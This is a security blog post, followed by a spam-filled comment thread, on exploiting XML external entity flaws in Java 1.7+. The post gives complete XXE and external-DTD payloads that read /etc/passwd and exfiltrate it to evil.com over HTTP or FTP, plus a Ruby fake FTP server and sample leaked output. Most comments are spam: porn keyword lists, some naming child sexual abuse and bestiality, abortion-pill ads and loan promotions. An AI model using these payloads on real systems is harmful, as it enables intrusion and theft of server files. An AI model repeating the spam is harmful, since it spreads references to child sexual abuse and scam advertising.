понедельник, 23 июня 2014 г.

XXE OOB exploitation at Java 1.7+

Java since 1.7 patched gopher:// schema (thanks A.Polyakov for that https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf)
But also patched HttpClient class.

Now Java doesn't convert multiline URIs by urlencode to valid one.

This fix produce "java.net.MalformedURLException: Illegal character in URL" exception when URL contains new lines and other command characters.

XXE payload:

```
<!ENTITY % b SYSTEM "file:///tmp/">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'http://evil.com:8000/%b;'>">
%c;
```

XXE OOB attack technique first discovered at 2009 by T.Terada:
http://d.hatena.ne.jp/teracc/20090718#1247918667
And rediscovered later by T.Yunusov and A.Osipov with additional features such as attribute entities
https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf

Архив блога

- ► 2017 (1)
- ► 2016 (1)
- ► 2015 (2)
- ▼ 2014 (4)
  - ► сентября (1)
  - ► июля (1)
  - ▼ июня (1)
    - XXE OOB exploitation at Java 1.7+
  - ► апреля (1)
- ► 2013 (9)
- ► 2012 (7)

Авторы

Ivan Novikov

Fill the difference:

Java 1.7- :
GET /.font-unix%0A.ICE-unix%0A.X11-unix%0AaprmovGRx%0Aasd%0AeTSrv%0Ahosts%0Alaunchd-277.sloRFO%0Alaunchd-492.s4PJbX%0Alaunchd-5486.ocD8IC%0Alaunchd-9800.eUprC8%0Alaunch-j7JvAs%0Alaunch-L6bUiQ%0Alaunch-WELXDr%0Apasswd%0Axxe.xml%0A HTTP/1.1
User-Agent: Java/1.6.0_65
...

Java 1.7+:
nothing!
Stack trace:

```
java.net.MalformedURLException: Illegal character in URL
at sun.net.www.http.HttpClient.getURLFile(HttpClient.java:583)
at sun.net.www.protocol.http.HttpURLConnection.getRequestURI(HttpURLConnection.java:2298)
at sun.net.www.protocol.http.HttpURLConnection.writeRequests(HttpURLConnection.java:513)
...
at com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(XMLParser.java:141)
at com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(DOMParser.java:243)
at com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(DocumentBuilderImpl.java:347)
```

This makes XXE OOB exploitation impossible.

We met this problem at security audit and solve it by using FTP and hacker's logic :) The main trick is that Java still have no URI validation in case of FTP.

Each line from multiline FTP URI will be requested as separate directory by CWD command. Each "/" char at line will be also separated to different CWD request.

For exploit it you need emulate FTP server of course.
git clone https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb

```
require 'socket'
server = TCPServer.new 8000
loop do
```

Vladimir

```
  Thread.start(server.accept) do |client|
    puts "New client connected"
    data = ""
    client.puts("220 xxe-ftp-server")
    loop {
        req = client.gets()
        puts "< "+req
        if req.include? "USER"
            client.puts("331 password please - version check")
        else
            puts "> 230 more data please!"
            client.puts("230 more data please!")
        end
    }
  end
end
```

You can also put payload into username or password like this:

```
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://%b;:aaa@evil.com:8000/'>">
```

or

```
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://aaa:%b;@evil.com:8000/'>">
```

And retrieve all data in only one request. But in this case you can not read files with ":" char (such as /etc/passwd) because:

```
java.net.MalformedURLException: For input string: "x:0:0:root:"
at java.net.URL.<init>(URL.java:619)
at java.net.URL.<init>(URL.java:482)
at java.net.URL.<init>(URL.java:431)
```

Finally got something like this:

XXE payload:

```
<?xml version="1.0"?>
<!DOCTYPE a [
   <!ENTITY % asd SYSTEM "http://evil.com/ext.dtd">
   %asd;
   %rrr;
]>
<a></a>
```

External DTD payload (hosted at http://evil.com/ext.dtd):

```
<!ENTITY % b SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://evil.com:8000/%b;'>">
```

$ ruby xxe-ftp-server.rb

New client connected
< USER anonymous
< PASS Java1.7.0_45@
> 230 more data please!
< TYPE I
> 230 more data please!
< CWD **root:x:0:0:root:**
> 230 more data please!
< CWD **root:**
> 230 more data please!
< CWD **bin**
> 230 more data please!
< CWD **bash**
> 230 more data please!
< **daemon:x:1:1:daemon:**

...
root:x:0:0:root:/root:/bin/bash -----/*slash separation*/-----> root:x:0:0:root: root: bin bash

Автор: Ivan Novikov на 4:49

23 комментария:

websec02+google02 18 февраля 2015 г., 16:49

Great post! I came up with the exactly same trick this week while playing with XPath 2.0 app, but Google search told me that I was not the first person who got this FTP trick... BTW, thank you for linking my article (http://d.hatena.ne.jp/teracc/20090718#1247918667) written back in 2009.

Ответить

▼ Ответы

Nganu 9 апреля 2017 г., 9:07

Online Movies
Stafaband
Foto Bugil
Film bokep
Streaming Bokep Film

ink zei 12 января 2018 г., 6:20

BOKEP ONLINE | BOKEP GRATIS | BOKEP HD 2018 | BOKEP HD TERBARU | BOKEP STREAMING | BOKEP TERBARU

Ответить

thudong xuanha 15 июня 2015 г., 0:18

Thanks for sharing, nice post!

- Là sản phẩm tuyệt vời của sự phát triển công nghệ, vong em be tu dong được thiết kế an toàn, tiện dụng. Những lợi ích mà thiet bi dua vong tu dong cho bé mang lại là vô cùng thiết thực.
- Với sự phát triển ngày càng tiến bộ của kỹ thuật công nghệ, nhiều sản phẩm thông minh ra đời với mục đích giúp cuộc sống chúng ta trở nên thoải mái và tiện lợi hơn. Và võng đưa em bé ra đời là một trong những sản

phẩm tinh túy của công nghệ, máy đưa võng tự động là phương pháp ru con thời hiện đại của các ông bố bà mẹ bận rộn.
- Hiện nay trên thị trường có nhiều loại máy đưa võng tự động cho em bé, sau nhiều năm kinh doanh và kinh nghiệm đút kết từ phản hồi của quý khách hàng sau khi mua máy, máy đưa võng tự động An Thái Sơn nhận thấy máy đưa võng tự động TS – sản phẩm may dua vong tu dong thiết kế dành riêng cho em bé, có chất lượng rất tốt, hoạt động êm, ổn định sức đưa đều, không giật cục, tuyệt đối an toàn cho trẻ, là lựa chọn hoàn hảo đảm bảo giấc ngủ ngon cho bé yêu của bạn.
- Với may dua vong tự động, bạn sẽ không còn phải lo lắng quá nhiều về giấc ngủ của bé, những tiếng đồng hồ mệt mỏi ngồi đưa võng cho con cũng sẽ không còn ám ảnh bạn nữa, bạn sẽ có nhiều thời gian để làm được nhiều việc khác. Có thể nói, vong dua em be là quà tuyệt vời cho những ông bố bà mẹ bận rộn.

Chia sẻ các mẹ bí quyết giúp bé phát triển tốt như: những cách chống nắng hiệu quả cho bé trong những ngày hè, ăn sữa chua đúng cách hay khi nào nên cho trẻ ăn sữa chua, nguyên nhân và cách trị chứng mất ngủ ở trẻ em hay bí quyết giúp bé ngủ ngon giấc giúp bé ngủ ngon hơn, chia sẻ các mẹ nguyên nhân và cách chữa trị bệnh rụng tóc ở trẻ em hay chị em phụ nữa lo lắng có nên uống collagen khi đang cho con bú, chia sẻ về Đông trùng hạ thảo và những cách chế biến đông trùng hạ thảo nguyên con
Bạn xem thêm bí quyết và chia sẻ kinh nghiệm làm đẹp:

Những thực phẩm giúp đẹp da tại http://nhungthucphamgiupda.blogspot.com/
Thực phẩm giúp bạn trẻ đẹp tại http://thucphamgiuptre.blogspot.com/
Thực phẩm làm tăng tại http://thucphamlamtang.blogspot.com/
Những thực phẩm giúp làm giảm tại http://thucphamlamgiam.blogspot.com/
Những thực phẩm tốt cho tại http://thucphamtotcho.blogspot.com/

Chúc các bé khỏe mạnh, mau ăn chóng lớn!

Ответить

kenken ken 2 февраля 2016 г., 1:26

Bạn nên biết về cach lam thach rau cau 3d
Thạch rau cau nâng cao sẽ có tại cach lam thach rau cau nhieu tang
Bạn sẽ vô cùng ngạc nhiên với cach lam thach rau cau tai nha
Hãy làm điều gì đó ý nghĩa khi chọn qua tang valentine y nghia cho nguoi yeu
Đừng bao giờ bỏ qua qua tang valentine y nghia cho ban gai
Bạn sẽ thích những món qua tang valentine y nghia nhat
Cùng tìm hiểu stt tam trang ve tinh yeu cuoc song

Giúp tình yêu thêm nồng nàng với nhung stt tinh yeu hay nhat
Đôi khi bạn buồn thì hãy đến với stt tam trang buon co don

Ответить

ane semprul 12 июля 2016 г., 11:55

This blog is so nice to me. I will continue to come here again and again. Visit my link as well. Good luck
obat aborsi
cara menggugurkan kandungan
obat datang bulan
obat peluntur kandungan
obat aborsi
cara menggugurkan kandungan

Ответить

linda paris 14 января 2017 г., 21:40

niche Jual Shiseido Naturgo Mud Mask Asli

Ответить

BOKEP JALANG 11 мая 2017 г., 20:59

streaming bokep
bokep streaming
download bokep
bokep sd
bokep anak kecil

Ответить

sakura sakuri 25 мая 2017 г., 2:55

http://apotekamanda.com
http://klinikobatcytotectuntas.blogspot.com

http://kelinikfarmasi.blogspot.com

Ответить

verginia maria 30 июня 2017 г., 2:21

Each family unit needs a financial plan. Having a financial plan can help guarantee you will have the assets accessible for crises so you don't need to depend on payday advances.Check Cashing

Ответить

verginia maria 2 июля 2017 г., 10:56

Consider it thusly: the cost of losing your home or auto would be significantly higher than getting a payday credit and paying somewhat higher rate of intrigue.
Cash Advance Chicago

Ответить

verginia maria 2 июля 2017 г., 14:27

You likewise need an administrative type of ID, evidence of residency, confirmation of auto protection and a spotless title. There will be no humiliating credit check or some other inquiries of why you need the advance after endorsement and examination. Your moment trade will be out your hands inside 24 hours, by means of check or direct store. Auto Title Loans Chicago

Ответить

sikat 13 сентября 2017 г., 0:42

Use this article to increase your knowledge . **cara menggugurkan kandungan dengan cepat**

Ответить

Arya Aji 22 сентября 2017 г., 23:39

BOKEPJAV99.listav.mobi
BokepJav
Bokep Jav
BOKEP STREAMING
Streaming Bokep Film
Streaming Video Bokep

Bokep Wanita Gemuk
Bokep Jav Arab
Bokep Jav Indo
Streaming Bokep Jav
Streaming Bokep Semi

Ответить

adham washim 17 октября 2017 г., 20:53

Pemilihan tukang ganti kain sofa bandung yang tepat memang dapat membuat ruang keluarga atau ruang tamu terlihat semakin service kursi jok bandung. Oleh karena itu pemilihan sofa yang cocok dan berkualitas untuk rumah idaman Anda memang perlu diperhatikan. Jika salah memilih sofa minimalis murah bandung akan berakibat sofa cepat rusak dan membuat Anda terpaksa mengeluarkan uang hanya untuk memperbaiki sofa atau bahkan harus membeli sofa baru. Tentu banyak kerugian yang akan di akibatkan bila salah memilih furniture murah di bandung salah satunya waktu atau kebutuhan uang yang tak terduga. Nah untuk itu berikut ini kami berikan langkah-langkah dalam memilih toko furniture murah di bandung supaya Anda tidak salah memilihnya.

Dapur bisa dikatakan sebagai jantungnya rumah kitchen set murah bandung. Tempat di mana Anda biasa memasak, menyiapkan makanan, tempat berkumpul dengan keluarga saat makan malam, bahkan seringkali Anda mengawasi anak-anak yang sedang bermain atau belajar dari ruangan ini kitchen set bandung murah. Hal ini menjadi salah satu alasan mengapa sering kali harga kitchen set bandung menulis tentang bagian rumah yang satu ini. Tujuannya tidak lain adalah untuk memberikan Anda ide untuk dapur yang nyaman kitchen set bandung harga, indah dan tidak membosankan. Berbicara soal bikin kitchen set bandung, mari simak 10 ide dapur nyaman yang tak mungkin Anda lewatkan berikut ini. Buku Panduan Lengkap Kehamilan cetakan pertama bulan Oktober 2013.

Alhamdulilah, sampai saat ini cetakan buku kelima di tahun 2015 buku cara cepat hamil dr. rosdiana ramli spog. Salah satu masakan unik yang membuat orang barat keheranan dan takjub saat berkunjung ke negara

kita adalah sambal ikan roa enak. Ya, aneka resep masakan sambal ini memang khas negara kita dan disukai oleh hampir sebagian besar masyarakat Indonesia. Bahkan sebagian besar dari kita bahkan merasa kurang saat menyantap hidangan tapi tidak ada makanan sambal roa semarang.

Ответить

Unknown 18 ноября 2017 г., 21:43

Bokep 10 Tahun

Bokep Anak Kecil

Bokep Anak Kandung

Bokep Digilir

Bokep Anak Kecil Bule
Ngentot Dengan Anjing

Ngentot ABG

Ngentot ABG Cantik

Ngentot Tante Cantik

Tante Mainin Kontol

Ответить

BOKEP HIPERSEX 28 ноября 2017 г., 4:11

bokep hentai

bokep jepang

streaming bokep

malam senin bokep

bokep indo terbaru 2018

komik hentai

bokep streaming barat

bokepindo 2018

Ответить

29سيو ноября 2017 г., 0:51

شركة العنود من الشركات المتخصصة فى اعمال شركة تنظيف خزانات بمكة مكافحة الحشرات ونقل العفش وخدمات تنظيف المنازل تعرفوا على الكثير من الاعمال الرائعة المميزة شركة تنظيف خزانات بمكة فى خدمات تنظيف الخزانات المميزة باسعار رائعة جدا نقدمها اليكم شركة عزل خزانات بمكة

Ответить

Thực phẩm chức năng 1 декабря 2017 г., 18:01

Thực phẩm chức năng herbalife tốt cho sức khỏe và giữ vóc dáng hiệu quả.

Ответить

TARY DESTY 9 декабря 2017 г., 1:13

hehehe i mean java indonesia, after i reat ofcurs not the mean. nice nice nice

Xhamster Indo
Bokep Indo
Bokep Barat

Bokep jepang
Bokep dengan hewan
Bokep hentai

Ответить

MANTAN USTAD 25 декабря 2017 г., 22:27

Teen Porn | Young Porn | Teen Sex | Teen Fuck

Ответить

Dida ELhaik 7 мая 2018 г., 6:13

Why Aafesh Transport Company in Riyadh is at the forefront
- The Kingdom Experts Company for the transfer of Alafash in Riyadh good packing for each piece of furniture on the latest packaging tools suitable for each piece of furniture.
- The company also provides the services of dismantling room curtains and installation again without additional cost.
- The company to polish and clean all the pieces of furniture before the packaging process to save time so you do not need to clean the pieces of furniture upon arrival to the new place to be transferred to.
- The Kingdom Experts Company is characterized by disciplined schedules and is not a reason for any delay or waste of time for its valued customers.
- The transport company Afsh Riyadh is characterized by its reliance on modern methods and methods in the transfer of development and permanent development in the provision of services.
Dear customer, The process of transferring luggage from one place to another is very tired and difficult and not as easy as some believe and needs technicians, specialists, workers and technicians to do; If you want to get the best service to transport the loaf of the highest levels of good planning and quality, you will not find a better company Transfer of Afesh in Riyadh.
The aim of Nafal Afesh Company in Riyadh is to satisfy our valued customers. We promise you that you will receive all our services to your full satisfaction and attest to the efficiency, skill and honesty of our customers who have already dealt with us.افضل شركة تركيب اثاث ايكيا بالرياض
افضل شركة تركيب ستائر بالرياض
افضل شركة تنظيف مكيفات بالرياض
افضل شركة تركيب غرف نوم بالرياض
افضل شركة تركيب باركية بالرياض
افضل شركة تركيب عفش بالرياض

Ответить

ihtishamali haider 8 июня 2018 г., 3:53

Android 8.0 Oreo Benefits and Hidden Features http://www.techfreetricks.com/android-8-0-oreo-benefits-hidden-features/ Android 8.0 Oreo is the latest version of Android and Google named it Android Oreo. And its initial release date is August 21, 2017. Android 8.0 Oreo Benefits and Hidden Features

Ответить

Введите комментарий...

Подпись комментария: Аккаунт Google

Публикация Просмотр

Следующее Главная страница Предыдущее

Подписаться на: Комментарии к сообщению (Atom)